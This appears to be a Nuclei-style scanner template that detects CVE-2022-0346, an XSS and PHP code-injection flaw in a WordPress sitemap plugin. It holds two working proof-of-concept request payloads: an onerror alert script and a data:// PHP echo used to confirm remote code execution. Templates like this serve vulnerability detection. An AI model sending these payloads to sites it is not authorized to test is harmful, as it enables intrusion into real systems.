42 lines
1.6 KiB
YAML
42 lines
1.6 KiB
YAML
id: CVE-2022-0346
|
|
|
|
info:
|
|
name: WordPress XML Sitemap Generator for Google <2.0.4 - Cross-Site Scripting
|
|
author: Akincibor,theamanrawat
|
|
severity: medium
|
|
description: |
|
|
WordPress XML Sitemap Generator for Google plugin before 2.0.4 contains a vulnerability that can lead to cross-site scripting or remote code execution. It does not validate a parameter which can be set to an arbitrary value, thus causing cross-site scripting via error message or remote code execution if allow_url_include is turned on.
|
|
reference:
|
|
- https://wpscan.com/vulnerability/4b339390-d71a-44e0-8682-51a12bd2bfe6
|
|
- https://wordpress.org/plugins/www-xml-sitemap-generator-org/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-0346
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2022-0346
|
|
cwe-id: CWE-79
|
|
metadata:
|
|
verified: true
|
|
tags: wpscan,cve,cve2022,wp,wordpress,wp-plugin,xss,www-xml-sitemap-generator-org
|
|
|
|
requests:
|
|
- method: GET
|
|
path:
|
|
- '{{BaseURL}}/?p=1&xsg-provider=%3Cimg%20src%20onerror=alert(document.domain)%3E&xsg-format=yyy&xsg-type=zz&xsg-page=pp'
|
|
- '{{BaseURL}}/?p=1&xsg-provider=data://text/html,<?php%20echo%20md5("CVE-2022-0346");%20//&xsg-format=yyy&xsg-type=zz&xsg-page=pp'
|
|
|
|
stop-at-first-match: true
|
|
req-condition: true
|
|
matchers:
|
|
- type: word
|
|
part: body_1
|
|
words:
|
|
- "<img src onerror=alert(document.domain)>"
|
|
- "Invalid Provider type specified"
|
|
condition: and
|
|
|
|
- type: word
|
|
part: body_2
|
|
words:
|
|
- "2ef3baa95802a4b646f2fc29075efe34"
|